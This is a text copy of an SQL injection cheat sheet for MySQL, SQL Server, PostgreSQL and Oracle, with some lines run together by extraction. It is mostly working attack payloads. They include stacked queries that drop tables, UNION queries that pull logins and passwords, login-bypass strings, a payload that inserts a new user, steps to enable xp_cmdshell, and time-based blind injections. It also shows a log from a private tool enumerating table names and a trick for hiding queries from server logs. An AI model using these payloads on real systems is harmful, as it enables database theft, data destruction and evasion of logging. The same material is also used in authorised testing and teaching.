SQL Injection Cheat Sheet, Document Version 1.4: Examples
SQL Injection Cheat Sheet, Document Version 1.4: Examples
com/sql-injection-cheatsheet-oku/
SQL Injection Cheat Sheet, Document Version 1.4
About SQL Injection Cheat Sheet
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some
PostgreSQL. Most of samples are not correct for every single situation. Most of the real world
environments may change because of parenthesis, different code bases and unexpected,
strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every
section includes a brief information about itself.
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
Table Of Contents
1. About SQL Injection Cheat Sheet
2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
1. Line Comments
SQL Injection Attack Samples
2. Inline Comments
Classical Inline Comment SQL Injection Attack Samples
MySQL Version Detection Sample Attacks
3. Stacking Queries
Language / Database Stacked Query Support Table
About MySQL and PHP
Stacked SQL Injection Attack Samples
4. If Statements
MySQL If Statement
SQL Server If Statement
If Statement SQL Injection Attack Samples
5. Using Integers
6. String Operations
String Concatenation
7. Strings without Quotes
Hex based SQL Injection Samples
8. String Modification & Related
9. Union Injections
UNION Fixing Language Issues
10. Bypassing Login Screens
11. Enabling xp_cmdshell in SQL Server 2005
12. Other parts are not so well formatted but check out by yourself, drafts, notes
and stuff, scroll down and see.
-- (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection
point, especially in SQL Server back ended applications.
; (S)
SELECT * FROM members; DROP members--
ID: 10;DROP members -SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection,
also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
0xHEXNUMBER (SM)
You can write hex like these;
SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
SELECT 0x50 + 0x45 (this is integer now!) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using
any quotes, bypass any other black listing or determine back end database.
String Concatenation
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind
SQL Injections.
SELECT ASCII('a')
CHAR() (SM)
Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records
from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-UNION Fixing Language Issues
While exploiting Union injections sometimes you get errors because of different language
settings (table settings, field settings, combined table / db settings etc.) these functions are
quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc.
applications then you will see it.
MySQL (M)
Hex() for every possible issue
admin' -admin' #
admin'/*
' HAVING 1=1 -' GROUP BY table.columnfromerror1 HAVING 1=1 -' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n)
HAVING 1=1 -- and so on
If you are not getting any more error then it's done.
Always use UNION with ALL because of image similiar non-distinct field types. By
default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record search in
the beginning of query (if injection is in WHERE). This can be critical if you are only
getting one result at a time.
Use NULL in UNION injections for most data type instead of trying to guess string,
date, integer etc.
o Be careful in Blind situtaions may you can understand error is coming from
DB or application itself. Because languages like ASP.NET generally throws
errors while trying to use NULL values (because normally developers are not
expecting to see NULL in a username field)
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 No Error - Syntax is right. MS SQL Server Used. Proceeding.
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 No Error First column is an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -Error! Second column is not an integer.
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 No Error Second column is a string.
11223344) UNION SELECT 1,2,3,NULL WHERE 1=2 Error! Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
Youll get convert() errors before union target errors ! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it
like any other column, you don't need to supply table name. Also you can use insert, update
statements or in functions.
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Error Messages
master..sysmessages
Linked Servers
master..sysservers
Password (2000 and 20005 both can be crackable, they use very similar hashing
algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
By default xp_cmdshell and couple of other potentially dangerous stored procedures are
disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE
name = 'tablenameforcolumnnames')
Moving records (S)
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM
syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND
name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;-Detailed Article : Fast way to extract data from Error Based SQL Injections
Blind SQL Injections
About Blind SQL Injections
In a quite good production application generally you can not see error responses on the
page, so you can not extract data through Union attacks or error based attacks. You have to
do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a
query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an
injection a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally
easier), in totally blinds you need to use some waiting functions and analyze response times.
For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL,
pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server
back ended application and enumerating table names. This requests done for first char of the
first table name. SQL queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78-FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103-TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<103-FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>89-TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<89-FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>83-TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<83-FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>80-FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
ProductID = 1;waitfor delay '0:0:10'-ProductID =1);waitfor delay '0:0:10'-ProductID =1';waitfor delay '0:0:10'-ProductID =1');waitfor delay '0:0:10'-ProductID =1));waitfor delay '0:0:10'-ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will
consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
pg_sleep(seconds) (P)
Sleep for supplied seconds.
SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you
add --sp_password to your queries it will not be in SQL Server logs (of course still will be in
web server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent attacks.
1. product.asp?id=4 (SMO)
a. product.asp?id=5-1
b. product.asp?id=4 OR 1=1
2. product.asp?name=Book
a. product.asp?name=Bo%2bok
b. product.asp?name=Bo || ok (OM)
c. product.asp?name=Book OR x=x
Some Extra MySQL Notes
MD5()
MD5 Hashing
SHA1()
SHA1 Hashing
PASSWORD()
ENCODE()
COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
ROW_COUNT()
SCHEMA()
VERSION()
Same as @@version
Lots of Stuff
o Advanced SQL Injection In SQL Applications, Chris Anley
o More Advanced SQL Injection In SQL Applications, Chris Anley
o Blindfolded SQL Injection, Ofer Maor Amichai Shulman
o Hackproofing MySQL, Chris Anley
o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman,
Bill Grindlay
Upstairs Team!
MSSQL Related
o MSSQL Operators - http://msdn2.microsoft.com/enus/library/aa276846(SQL.80).aspx
o Transact-SQL Reference - http://msdn2.microsoft.com/enus/library/aa299742(SQL.80).aspx
o String Functions (Transact-SQL) - http://msdn2.microsoft.com/enus/library/ms181984.aspx
o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/enus/library/ms180175.aspx
o MSSQL Server 2005 Login Information and some other functions : Sumit
Siddharth
MySQL Related
o Comments : http://dev.mysql.com/doc/
o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flowfunctions.html
o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm
o New SQL Injection Concept, Tonu Samuel